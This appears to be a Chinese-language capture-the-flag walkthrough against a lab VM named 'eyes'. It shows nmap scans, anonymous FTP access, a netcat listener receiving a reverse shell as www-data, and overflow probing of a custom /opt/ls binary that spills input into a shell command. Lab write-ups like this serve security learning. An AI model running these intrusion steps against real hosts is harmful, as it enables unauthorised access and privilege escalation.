kali@kali [~] ➜ sudo nmap -sT -p- --min-rate 1000 172.20.10.2 [17:07:39] [sudo] kali 的密码： Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-13 17:16 CST Nmap scan report for 172.20.10.2 Host is up (0.0015s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:23:25:0E (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 3.97 seconds
kali@kali [~] ➜ sudo nmap -sT -sV -sC -p21,22,80 -O 172.20.10.2 [17:16:12] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-13 17:16 CST Nmap scan report for 172.20.10.2 Host is up (0.00048s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:172.20.10.5 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 125 Apr 04 2021 index.php 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 b1:12:94:12:60:67:e1:0b:45:c1:8d:e9:21:13:bc:51 (RSA) | 256 b7:7f:25:94:d6:4e:88:56:8a:22:34:16:c2:de:ba:02 (ECDSA) |_ 256 30:c7:a2:90:39:5d:24:13:bf:aa:ba:4c:a7:f4:2f:bb (ED25519) 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). MAC Address: 08:00:27:23:25:0E (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5 OS details: Linux 5.0 - 5.5 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds
可以发现，这个ftp是有匿名登录的
服务渗透
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
kali@kali [~] ➜ ftp 172.20.10.2 [17:16:59] Connected to 172.20.10.2. 220 (vsFTPd 3.0.3) Name (172.20.10.2:kali): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||48514|) 150 Here comes the directory listing. -rw-r--r-- 1 0 0 125 Apr 04 2021 index.php 226 Directory send OK. ftp> put x local: x remote: x 229 Entering Extended Passive Mode (|||7627|) 550 Permission denied. ftp>
kali@kali [~] ➜ nc -lvnp 8888 [17:24:28] listening on [any] 8888 ... connect to [172.20.10.5] from (UNKNOWN) [172.20.10.2] 54906 bash: cannot set terminal process group (328): Inappropriate ioctl for device bash: no job control in this shell www-data@eyes:~/html$
www-data@eyes:/opt$ ./ls ./ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ls ls.c note.txt Enter your name:Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, Im executing ls Output: www-data@eyes:/opt$
这是没问题的，70个试试
1 2 3 4 5 6 7
www-data@eyes:/opt$ ./ls ./ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA sh: 1: AAAAAA: not found Enter your name:Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, Im executing ls Output: www-data@eyes:/opt$